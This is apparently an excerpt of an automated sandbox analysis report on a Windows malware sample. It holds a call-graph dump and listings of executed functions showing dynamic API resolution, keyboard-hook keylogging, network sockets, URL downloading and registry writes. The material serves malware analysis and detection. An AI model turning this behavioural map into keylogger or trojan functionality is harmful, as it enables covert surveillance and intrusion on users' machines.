48558->48534 48559->48556 48569 40a2b8 48560->48569 48599 40acd6 48563->48599 48641 40a726 48566->48641 48570 40a2d1 GetModuleHandleA SetWindowsHookExA 48569->48570 48571 40a333 GetMessageA 48569->48571 48570->48571 48573 40a2ed GetLastError 48570->48573 48572 40a345 TranslateMessage DispatchMessageA 48571->48572 48583 40a270 48571->48583 48572->48571 48572->48583 48584 41bb8e 48573->48584 48590 441e81 48584->48590 48587 402093 28 API calls 48588 40a2fe 48587->48588 48589 4052fd 28 API calls 48588->48589 48591 441e8d 48590->48591 48594 441c7d 48591->48594 48593 41bbb2 48593->48587 48595 441c94 48594->48595 48597 441ccb _abort 48595->48597 48598 4405dd 20 API calls _abort 48595->48598 48597->48593 48598->48597 48628 40ace4 48599->48628 48600 40a292 48601 40ad3e Sleep GetForegroundWindow GetWindowTextLengthW 48602 40b904 28 API calls 48601->48602 48602->48628 48607 41bae6 GetTickCount 48607->48628 48608 40ad84 GetWindowTextW 48608->48628 48610 40b8ec 28 API calls 48610->48628 48611 40aedc 48612 401f09 11 API calls 48611->48612 48612->48600 48613 40ae49 Sleep 48613->48628 48614 441e81 20 API calls 48614->48628 48616 402093 28 API calls 48616->48628 48617 40add1 48619 40905c 28 API calls 48617->48619 48617->48628 48637 40b164 31 API calls new 48617->48637 48619->48617 48621 403014 28 API calls 48621->48628 48622 406383 28 API calls 48622->48628 48624 40a636 12 API calls 48624->48628 48625 41bc5e 28 API calls 48625->48628 48626 401f09 11 API calls 48626->48628 48627 401fd8 11 API calls 48627->48628 48628->48600 48628->48601 48628->48607 48628->48608 48628->48610 48628->48611 48628->48613 48628->48614 48628->48616 48628->48617 48628->48621 48628->48622 48628->48624 48628->48625 48628->48626 48628->48627 48629 4343e6 EnterCriticalSection LeaveCriticalSection WaitForSingleObjectEx __Init_thread_wait __Init_thread_footer 48628->48629 48630 401f86 48628->48630 48634 434770 23 API calls __onexit 48628->48634 48635 4343a7 SetEvent ResetEvent EnterCriticalSection LeaveCriticalSection __Init_thread_footer 48628->48635 48636 409044 28 API calls 48628->48636 48638 40b97c 28 API calls 48628->48638 48639 40b748 40 API calls 2 library calls 48628->48639 48640 4052fd 28 API calls 48628->48640 48631 401f8e 48630->48631 48632 402252 11 API calls 48631->48632 48633 401f99 48632->48633 48633->48628 48634->48628 48635->48628 48636->48628 48637->48617 48638->48628 48639->48628 48642 40a73b Sleep 48641->48642 48662 40a675 48642->48662 48644 40a286 48645 40a77b CreateDirectoryW 48649 40a74d 48645->48649 48646 40a78c GetFileAttributesW 48646->48649 48647 40a7a3 SetFileAttributesW 48647->48649 48649->48642 48649->48644 48649->48646 48649->48647 48651 401e65 22 API calls 48649->48651 48660 40a76f 48649->48660 48675 41c3f1 48649->48675 48650 40a81d PathFileExistsW 48650->48660 48651->48649 48652 4020df 11 API calls 48652->48660 48653 4020b7 28 API calls 48653->48660 48655 40a926 SetFileAttributesW 48655->48649 48656 406dd8 28 API calls 48656->48660 48657 401fe2 28 API calls 48657->48660 48658 401fd8 11 API calls 48658->48660 48660->48645 48660->48650 48660->48652 48660->48653 48660->48655 48660->48656 48660->48657 48660->48658 48661 401fd8 11 API calls 48660->48661 48685 41c485 32 API calls 48660->48685 48686 41c4f2 CreateFileW SetFilePointer CloseHandle WriteFile CloseHandle 48660->48686 48661->48649 48663 40a722 48662->48663 48665 40a68b 48662->48665 48663->48649 48664 40a6aa CreateFileW 48664->48665 48666 40a6b8 GetFileSize 48664->48666 48665->48664 48667 40a6ed CloseHandle 48665->48667 48668 40a6ff 48665->48668 48669 40a6e2 Sleep 48665->48669 48670 40a6db 48665->48670 48666->48665 48666->48667 48667->48665 48668->48663 48672 40905c 28 API calls 48668->48672 48669->48667 48687 40b0dc 84 API calls 48670->48687 48673 40a71b 48672->48673 48674 40a179 124 API calls 48673->48674 48674->48663 48676 41c404 CreateFileW 48675->48676 48678 41c441 48676->48678 48679 41c43d 48676->48679 48680 41c461 WriteFile 48678->48680 48681 41c448 SetFilePointer 48678->48681 48679->48649 48683 41c474 48680->48683 48684 41c476 CloseHandle 48680->48684 48681->48680 48682 41c458 CloseHandle 48681->48682 48682->48679 48683->48684 48684->48679 48685->48660 48686->48660 48687->48669 48690 40322e 48689->48690 48699 403618 48690->48699 48692 40323b 48692->48510 48694 40326e 48693->48694 48695 402252 11 API calls 48694->48695 48696 403288 48695->48696 48697 402336 11 API calls 48696->48697 48698 403031 48697->48698 48698->48054 48700 403626 48699->48700 48701 403644 48700->48701 48702 40362c 48700->48702 48704 40369e 48701->48704 48706 40365c 48701->48706 48710 4036a6 28 API calls 48702->48710 48711 4028a4 22 API calls 48704->48711 48708 4027e6 28 API calls 48706->48708 48709 403642 48706->48709 48708->48709 48709->48692 48710->48709 48713 404186 48712->48713 48714 402252 11 API calls 48713->48714 48715 404191 48714->48715 48723 4041bc 48715->48723 48718 4042fc 48734 404353 48718->48734 48720 40430a 48721 403262 11 API calls 48720->48721 48722 404319 48721->48722 48722->48063 48724 4041c8 48723->48724 48727 4041d9 48724->48727 48726 40419c 48726->48718 48728 4041e9 48727->48728 48729 404206 48728->48729 48730 4041ef 48728->48730 48731 4027e6 28 API calls 48729->48731 48732 404267 28 API calls 48730->48732 48733 404204 48731->48733 48732->48733 48733->48726 48735 40435f 48734->48735 48738 404371 48735->48738 48737 40436d 48737->48720 48739 40437f 48738->48739 48740 404385 48739->48740 48741 40439e 48739->48741 48804 4034e6 28 API calls 48740->48804 48742 402888 22 API calls 48741->48742 48743 4043a6 48742->48743 48745 404419 48743->48745 48746 4043bf 48743->48746 48805 4028a4 22 API calls 48745->48805 48749 4027e6 28 API calls 48746->48749 48757 40439c 48746->48757 48749->48757 48757->48737 48804->48757 48812 43aa9a 48806->48812 48810 4138b9 48809->48810 48811 41388f RegSetValueExA RegCloseKey 48809->48811 48810->48082 48811->48810 48815 43aa1b 48812->48815 48814 40170d 48814->48080 48816 43aa2a 48815->48816 48817 43aa3e 48815->48817 48828 4405dd 20 API calls _abort 48816->48828 48820 43aa2f __alldvrm _abort 48817->48820 48821 448957 48817->48821 48820->48814 48822 4484ca _abort 5 API calls 48821->48822 48823 44897e 48822->48823 48824 448996 GetSystemTimeAsFileTime 48823->48824 48825 44898a 48823->48825 48824->48825 48826 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 48825->48826 48827 4489a7 48826->48827 48827->48820 48828->48820 48832 41b8f9 ctype ___scrt_fastfail 48829->48832 48830 402093 28 API calls 48831 414f49 48830->48831 48831->48088 48832->48830 48833->48105 48835 414f02 getaddrinfo WSASetLastError 48834->48835 48836 414ef8 48834->48836 48835->48157 48974 414d86 48836->48974 48840 404846 socket 48839->48840 48841 404839 48839->48841 48842 404860 CreateEventW 48840->48842 48843 404842 48840->48843 49013 40489e WSAStartup 48841->49013 48842->48157 48843->48157 48845 40483e 48845->48840 48845->48843 48847 404f65 48846->48847 48848 404fea 48846->48848 48849 404f6e 48847->48849 48850 404fc0 CreateEventA CreateThread 48847->48850 48851 404f7d GetLocalTime 48847->48851 48848->48157 48849->48850 48850->48848 49015 405150 48850->49015 48852 41bb8e 28 API calls 48851->48852 48853 404f91 48852->48853 49014 4052fd 28 API calls 48853->49014 48862 404a1b 48861->48862 48863 4048ee 48861->48863 48864 40497e 48862->48864 48865 404a21 WSAGetLastError 48862->48865 48863->48864 48866 404923 48863->48866 48868 40531e 28 API calls 48863->48868 48864->48157 48865->48864 48867 404a31 48865->48867 49019 420c60 27 API calls 48866->49019 48869 404932 48867->48869 48870 404a36 48867->48870 48873 40490f 48868->48873 48876 402093 28 API calls 48869->48876 49024 41cae1 30 API calls 48870->49024 48872 40492b 48872->48869 48875 404941 48872->48875 48877 402093 28 API calls 48873->48877 48885 404950 48875->48885 48886 404987 48875->48886 48879 404a80 48876->48879 48880 40491e 48877->48880 48878 404a40 49025 4052fd 28 API calls 48878->49025 48882 402093 28 API calls 48879->48882 48883 41b4ef 80 API calls 48880->48883 48887 404a8f 48882->48887 48883->48866 48891 402093 28 API calls 48885->48891 49021 421a40 54 API calls 48886->49021 48892 41b4ef 80 API calls 48887->48892 48895 40495f 48891->48895 48892->48864 48893 40498f 48896 4049c4 48893->48896 48897 404994 48893->48897 48899 402093 28 API calls 48895->48899 49023 420e06 28 API calls 48896->49023 48900 402093 28 API calls 48897->48900 48902 40496e 48899->48902 48904 4049a3 48900->48904 48905 41b4ef 80 API calls 48902->48905 48907 402093 28 API calls 48904->48907 48908 404973 48905->48908 48906 4049cc 48909 4049f9 CreateEventW CreateEventW 48906->48909 48911 402093 28 API calls 48906->48911 48910 4049b2 48907->48910 49020 41e711 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 48908->49020 48909->48864 48913 41b4ef 80 API calls 48910->48913 48912 4049e2 48911->48912 48915 402093 28 API calls 48912->48915 48916 4049b7 48913->48916 48917 4049f1 48915->48917 49022 4210b2 52 API calls 48916->49022 48919 41b4ef 80 API calls 48917->48919 48920 4049f6 48919->48920 48920->48909 49026 41b7b6 GlobalMemoryStatusEx 48921->49026 48923 41b7f5 48923->48157 49027 414580 48924->49027 48928 40dda5 48927->48928 48929 4134ff 3 API calls 48928->48929 48931 40ddac 48929->48931 48930 40ddc4 48930->48157 48931->48930 48932 413549 3 API calls 48931->48932 48932->48930 48934 4020b7 28 API calls 48933->48934 48935 41bc57 48934->48935 48935->48157 48937 41bd2b 48936->48937 48938 4020b7 28 API calls 48937->48938 48939 41bd3d 48938->48939 48939->48157 48941 41bafc GetTickCount 48940->48941 48941->48174 48943 436e90 ___scrt_fastfail 48942->48943 48944 41bab5 GetForegroundWindow GetWindowTextW 48943->48944 48945 40417e 28 API calls 48944->48945 48946 41badf 48945->48946 48946->48174 48947->48174 48948->48174 48950 4020df 11 API calls 48949->48950 48951 404c27 48950->48951 48952 4020df 11 API calls 48951->48952 48964 404c30 48952->48964 48953 43bd51 new 21 API calls 48953->48964 48955 404c96 48957 404ca1 48955->48957 48955->48964 48956 4020b7 28 API calls 48956->48964 49069 404e26 99 API calls 48957->49069 48958 401fe2 28 API calls 48958->48964 48960 404ca8 48962 401fd8 11 API calls 48960->48962 48961 401fd8 11 API calls 48961->48964 48963 404cb1 48962->48963 48965 401fd8 11 API calls 48963->48965 48964->48953 48964->48955 48964->48956 48964->48958 48964->48961 49056 404cc3 48964->49056 49068 404b96 57 API calls 48964->49068 48966 404cba 48965->48966 48966->48134 48968->48157 48969->48134 48971->48174 48972->48134 48973->48134 48975 414dc8 GetSystemDirectoryA 48974->48975 48992 414ecf 48974->48992 48976 414de3 48975->48976 48975->48992 48995 441a3e 48976->48995 48978 414dff 49002 441a98 48978->49002 48980 414e0f LoadLibraryA 48981 414e31 GetProcAddress 48980->48981 48982 414e42 48980->48982 48981->48982 48983 414e3d FreeLibrary 48981->48983 48984 441a3e ___std_exception_copy 20 API calls 48982->48984 48993 414e93 48982->48993 48983->48982 48985 414e5e 48984->48985 48986 441a98 20 API calls 48985->48986 48989 414e6e LoadLibraryA 48986->48989 48987 414e99 GetProcAddress 48988 414eb4 FreeLibrary 48987->48988 48987->48993 48990 414eb2 48988->48990 48991 414e82 GetProcAddress 48989->48991 48989->48992 48990->48992 48991->48993 48994 414e8e FreeLibrary 48991->48994 48992->48835 48993->48987 48993->48990 48993->48992 48994->48993 48996 441a59 48995->48996 48997 441a4b 48995->48997 49009 4405dd 20 API calls _abort 48996->49009 48997->48996 49000 441a70 48997->49000 48999 441a61 _abort 48999->48978 49000->48999 49010 4405dd 20 API calls _abort 49000->49010 49003 441ab4 49002->49003 49005 441aa6 49002->49005 49011 4405dd 20 API calls _abort 49003->49011 49005->49003 49006 441add 49005->49006 49008 441abc _abort 49006->49008 49012 4405dd 20 API calls _abort 49006->49012 49008->48980 49009->48999 49010->48999 49011->49008 49012->49008 49013->48845 49018 40515c 102 API calls 49015->49018 49017 405159 49018->49017 49019->48872 49020->48864 49021->48893 49022->48908 49023->48906 49024->48878 49026->48923 49030 414553 49027->49030 49031 414568 ___scrt_initialize_default_local_stdio_options 49030->49031 49034 43f79d 49031->49034 49037 43c4f0 49034->49037 49038 43c530 49037->49038 49039 43c518 49037->49039 49038->49039 49041 43c538 49038->49041 49052 4405dd 20 API calls _abort 49039->49052 49042 43a7b7 __cftof 36 API calls 49041->49042 49043 43c548 49042->49043 49053 43cc76 20 API calls 2 library calls 49043->49053 49044 43c51d _abort 49046 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 49044->49046 49048 414576 49046->49048 49047 43c5c0 49054 43d2e4 51 API calls 3 library calls 49047->49054 49048->48157 49051 43c5cb 49055 43cce0 20 API calls _free 49051->49055 49052->49044 49053->49047 49054->49051 49055->49044 49057 4020df 11 API calls 49056->49057 49066 404cde 49057->49066 49058 404e13 49059 401fd8 11 API calls 49058->49059 49060 404e1c 49059->49060 49060->48955 49061 4041a2 28 API calls 49061->49066 49062 401fe2 28 API calls 49062->49066 49063 401fc0 28 API calls 49065 404dad CreateEventA CreateThread WaitForSingleObject CloseHandle 49063->49065 49064 4020f6 28 API calls 49064->49066 49065->49066 49070 415aea 49065->49070 49066->49058 49066->49061 49066->49062 49066->49063 49066->49064 49067 401fd8 11 API calls 49066->49067 49067->49066 49068->48964 49069->48960 49071 4020f6 28 API calls 49070->49071 49072 415b0c SetEvent 49071->49072 49073 415b21 49072->49073 49074 4041a2 28 API calls 49073->49074 49075 415b3b 49074->49075 49076 4020f6 28 API calls 49075->49076 49077 415b4b 49076->49077 49078 4020f6 28 API calls 49077->49078 49079 415b5d 49078->49079 49080 41be1b 28 API calls 49079->49080 49081 415b66 49080->49081 49082 417089 49081->49082 49083 415b86 GetTickCount 49081->49083 49084 415d2f 49081->49084 49085 401e8d 11 API calls 49082->49085 49086 41bb8e 28 API calls 49083->49086 49084->49082 49147 415ce5 49084->49147 49087 417092 49085->49087 49088 415b97 49086->49088 49090 401fd8 11 API calls 49087->49090 49091 41bae6 GetTickCount 49088->49091 49092 41709e 49090->49092 49093 415ba3 49091->49093 49094 401fd8 11 API calls 49092->49094 49095 41bb8e 28 API calls 49093->49095 49096 4170aa 49094->49096 49097 415bae 49095->49097 49098 41ba96 30 API calls 49097->49098 49099 415bbc 49098->49099 49100 41bd1e 28 API calls 49099->49100 49101 415bca 49100->49101 49102 401e65 22 API calls 49101->49102 49103 415bd8 49102->49103 49149 402f31 28 API calls 49103->49149 49105 415be6 49150 402ea1 28 API calls 49105->49150 49107 415bf5 49108 402f10 28 API calls 49107->49108 49109 415c04 49108->49109 49151 402ea1 28 API calls 49109->49151 49111 415c13 49112 402f10 28 API calls 49111->49112 49113 415c1f 49112->49113 49152 402ea1 28 API calls 49113->49152 49115 415c29 49153 404aa1 61 API calls ctype 49115->49153 49117 415c38 49118 401fd8 11 API calls 49117->49118 49119 415c41 49118->49119 49120 401fd8 11 API calls 49119->49120 49121 415c4d 49120->49121 49122 401fd8 11 API calls 49121->49122 49123 415c59 49122->49123 49124 401fd8 11 API calls 49123->49124 49125 415c65 49124->49125 49126 401fd8 11 API calls 49125->49126 49127 415c71 49126->49127 49128 401fd8 11 API calls 49127->49128 49129 415c7d 49128->49129 49130 401f09 11 API calls 49129->49130 49131 415c86 49130->49131 49132 401fd8 11 API calls 49131->49132 49133 415c8f 49132->49133 49134 401fd8 11 API calls 49133->49134 49135 415c98 49134->49135 49136 401e65 22 API calls 49135->49136 49137 415ca3 49136->49137 49138 43baac _strftime 40 API calls 49137->49138 49139 415cb0 49138->49139 49140 415cb5 49139->49140 49141 415cdb 49139->49141 49143 415cc3 49140->49143 49144 415cce 49140->49144 49142 401e65 22 API calls 49141->49142 49142->49147 49154 404ff4 82 API calls 49143->49154 49146 404f51 105 API calls 49144->49146 49148 415cc9 49146->49148 49147->49082 49155 4050e4 84 API calls 49147->49155 49148->49082 49149->49105 49150->49107 49151->49111 49152->49115 49153->49117 49154->49148 49155->49148 49157->48207 49158->48234 49159->48233 49160->48222 49161->48226 49162->48232 49163->48265 49168 40f7c2 49166->49168 49167 413549 3 API calls 49167->49168 49168->49167 49169 40f866 49168->49169 49171 40f856 Sleep 49168->49171 49188 40f7f4 49168->49188 49172 40905c 28 API calls 49169->49172 49170 40905c 28 API calls 49170->49188 49171->49168 49173 40f871 49172->49173 49176 41bc5e 28 API calls 49173->49176 49175 41bc5e 28 API calls 49175->49188 49177 40f87d 49176->49177 49201 413814 14 API calls 49177->49201 49180 401f09 11 API calls 49180->49188 49181 40f890 49182 401f09 11 API calls 49181->49182 49184 40f89c 49182->49184 49183 402093 28 API calls 49183->49188 49185 402093 28 API calls 49184->49185 49186 40f8ad 49185->49186 49189 41376f 14 API calls 49186->49189 49187 41376f 14 API calls 49187->49188 49188->49170 49188->49171 49188->49175 49188->49180 49188->49183 49188->49187 49199 40d096 112 API calls ___scrt_fastfail 49188->49199 49200 413814 14 API calls 49188->49200 49190 40f8c0 49189->49190 49202 412850 TerminateProcess WaitForSingleObject 49190->49202 49192 40f8c8 ExitProcess 49203 4127ee 62 API calls 49196->49203 49200->49188 49201->49181 49202->49192 49204 4269e6 49205 4269fb 49204->49205 49216 426a8d 49204->49216 49206 426b44 49205->49206 49207 426abd 49205->49207 49208 426b1d 49205->49208 49211 426af2 49205->49211 49212 426a48 49205->49212 49205->49216 49218 426a7d 49205->49218 49232 424edd 49 API calls ctype 49205->49232 49206->49216 49237 426155 28 API calls 49206->49237 49207->49211 49207->49216 49235 41fb6c 52 API calls 49207->49235 49208->49206 49208->49216 49220 425ae1 49208->49220 49211->49208 49236 4256f0 21 API calls 49211->49236 49212->49216 49212->49218 49233 41fb6c 52 API calls 49212->49233 49218->49207 49218->49216 49234 424edd 49 API calls ctype 49218->49234 49221 425b00 ___scrt_fastfail 49220->49221 49223 425b0f 49221->49223 49226 425b34 49221->49226 49238 41ebbb 21 API calls 49221->49238 49223->49226 49231 425b14 49223->49231 49239 4205d8 46 API calls 49223->49239 49226->49206 49227 425b1d 49227->49226 49242 424d05 21 API calls 2 library calls 49227->49242 49229 425bb7 49229->49226 49240 432ec4 21 API calls new 49229->49240 49231->49226 49231->49227 49241 41da5f 49 API calls 49231->49241 49232->49212 49233->49212 49234->49207 49235->49207 49236->49208 49237->49216 49238->49223 49239->49229 49240->49231 49241->49227 49242->49226 49243 434875 49248 434b47 SetUnhandledExceptionFilter 49243->49248 49245 43487a pre_c_initialization 49249 44554b 20 API calls 2 library calls 49245->49249 49247 434885 49248->49245 49249->49247 49250 415d06 49265 41b380 49250->49265 49252 415d0f 49253 4020f6 28 API calls 49252->49253 49254 415d1e 49253->49254 49276 404aa1 61 API calls ctype 49254->49276 49256 415d2a 49257 417089 49256->49257 49258 401fd8 11 API calls 49256->49258 49259 401e8d 11 API calls 49257->49259 49258->49257 49260 417092 49259->49260 49261 401fd8 11 API calls 49260->49261 49262 41709e 49261->49262 49263 401fd8 11 API calls 49262->49263 49264 4170aa 49263->49264 49266 4020df 11 API calls 49265->49266 49267 41b38e 49266->49267 49268 43bd51 new 21 API calls 49267->49268 49269 41b39e InternetOpenW InternetOpenUrlW 49268->49269 49270 41b3c5 InternetReadFile 49269->49270 49274 41b3e8 49270->49274 49271 4020b7 28 API calls 49271->49274 49272 41b415 InternetCloseHandle InternetCloseHandle 49273 41b427 49272->49273 49273->49252 49274->49270 49274->49271 49274->49272 49275 401fd8 11 API calls 49274->49275 49275->49274 49276->49256 49277 426c4b 49282 426cc8 send 49277->49282 49283 44831e 49291 448710 49283->49291 49286 448332 49288 44833a 49289 448347 49288->49289 49299 44834a 11 API calls 49288->49299 49292 4484ca _abort 5 API calls 49291->49292 49293 448737 49292->49293 49294 44874f TlsAlloc 49293->49294 49295 448740 49293->49295 49294->49295 49296 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 49295->49296 49297 448328 49296->49297 49297->49286 49298 448299 20 API calls 3 library calls 49297->49298 49298->49288 49299->49286 49300 43be58 49302 43be64 _swprintf ___scrt_is_nonwritable_in_current_image 49300->49302 49301 43be72 49316 4405dd 20 API calls _abort 49301->49316 49302->49301 49304 43be9c 49302->49304 49311 445888 EnterCriticalSection 49304->49311 49306 43be77 ___scrt_is_nonwritable_in_current_image _abort 49307 43bea7 49312 43bf48 49307->49312 49311->49307 49313 43bf56 49312->49313 49315 43beb2 49313->49315 49318 44976c 37 API calls 2 library calls 49313->49318 49317 43becf LeaveCriticalSection std::_Lockit::~_Lockit 49315->49317 49316->49306 49317->49306 49318->49313 49319 41dfbd 49320 41dfd2 ctype ___scrt_fastfail 49319->49320 49332 41e1d5 49320->49332 49338 432ec4 21 API calls new 49320->49338 49323 41e1e6 49324 41e189 49323->49324 49334 432ec4 21 API calls new 49323->49334 49326 41e182 ___scrt_fastfail 49326->49324 49339 432ec4 21 API calls new 49326->49339 49328 41e21f ___scrt_fastfail 49328->49324 49335 43354a 49328->49335 49330 41e1af ___scrt_fastfail 49330->49324 49340 432ec4 21 API calls new 49330->49340 49332->49324 49333 41db62 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection ___scrt_fastfail 49332->49333 49333->49323 49334->49328 49341 433469 49335->49341 49337 433552 49337->49324 49338->49326 49339->49330 49340->49332 49342 433482 49341->49342 49343 433478 49341->49343 49342->49343 49347 432ec4 21 API calls new 49342->49347 49343->49337 49345 4334a3 49345->49343 49348 433837 CryptAcquireContextA 49345->49348 49347->49345 49349 433858 CryptGenRandom 49348->49349 49350 433853 49348->49350 49349->49350 49351 43386d CryptReleaseContext 49349->49351 49350->49343 49351->49350 49352 40165e 49353 401666 49352->49353 49355 401669 49352->49355 49354 4016a8 49356 4344ea new 22 API calls 49354->49356 49355->49354 49357 401696 49355->49357 49358 40169c 49356->49358 49359 4344ea new 22 API calls 49357->49359 49359->49358 49360 426bdc 49366 426cb1 recv 49360->49366

                        Executed Functions

                        Function 0041CB50 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176libraryloaderCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        APIs
                        • LoadLibraryA.KERNEL32(Psapi), ref: 0041CB65
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB6E
                        • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB88
                        • LoadLibraryA.KERNEL32(shcore), ref: 0041CB9A
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB9D
                        • LoadLibraryA.KERNEL32(user32), ref: 0041CBAE
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBB1
                        • LoadLibraryA.KERNEL32(ntdll), ref: 0041CBC3
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBC6
                        • LoadLibraryA.KERNEL32(kernel32), ref: 0041CBD2
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBD5
                        • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBE9
                        • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBFD
                        • LoadLibraryA.KERNEL32(Shell32), ref: 0041CC0E
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC11
                        • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC25
                        • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC39
                        • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC4D
                        • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC61
                        • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC75
                        • LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CC83
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC86
                        • LoadLibraryA.KERNEL32(kernel32), ref: 0041CC97
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC9A
                        • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040E9E1), ref: 0041CCA7
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCAA
                        • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040E9E1), ref: 0041CCB7
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCBA
                        • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCCC
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCCF
                        • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCDC
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCDF
                        • GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,0040E9E1), ref: 0041CCF0
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCF3
                        • GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,0040E9E1), ref: 0041CD04
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD07
                        • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD19
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD1C
                        • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD29
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD2C
                        • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD39
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD3C
                        • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD49
                        • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD4C
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: AddressProc$LibraryLoad$HandleModule
                        • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                        • API String ID: 4236061018-3687161714
                        • Opcode ID: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                        • Instruction ID: 43d5c3d51f8f0173c8b3474e0c84bdc355f07b7b5b23ff39ae26555794408ecb
                        • Opcode Fuzzy Hash: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                        • Instruction Fuzzy Hash: 31419EA0EC035879DA107BB66DCDE3B3E5CD9857953214837B15CA7150EBBCD8408EAE
                        Function 0040A2B8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63windowCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1288 40a2b8-40a2cf 1289 40a2d1-40a2eb GetModuleHandleA SetWindowsHookExA 1288->1289 1290 40a333-40a343 GetMessageA 1288->1290 1289->1290 1293 40a2ed-40a331 GetLastError call 41bb8e call 4052fd call 402093 call 41b4ef call 401fd8 1289->1293 1291 40a345-40a35d TranslateMessage DispatchMessageA 1290->1291 1292 40a35f 1290->1292 1291->1290 1291->1292 1294 40a361-40a366 1292->1294 1293->1294
                        APIs
                        • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040A2D3
                        • SetWindowsHookExA.USER32(0000000D,0040A2A4,00000000), ref: 0040A2E1
                        • GetLastError.KERNEL32 ref: 0040A2ED
                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                        • GetMessageA.USER32 ref: 0040A33B
                        • TranslateMessage.USER32(?), ref: 0040A34A
                        • DispatchMessageA.USER32 ref: 0040A355
                        Strings
                        • Keylogger initialization failure: error , xrefs: 0040A301
                        Memory Dump Source
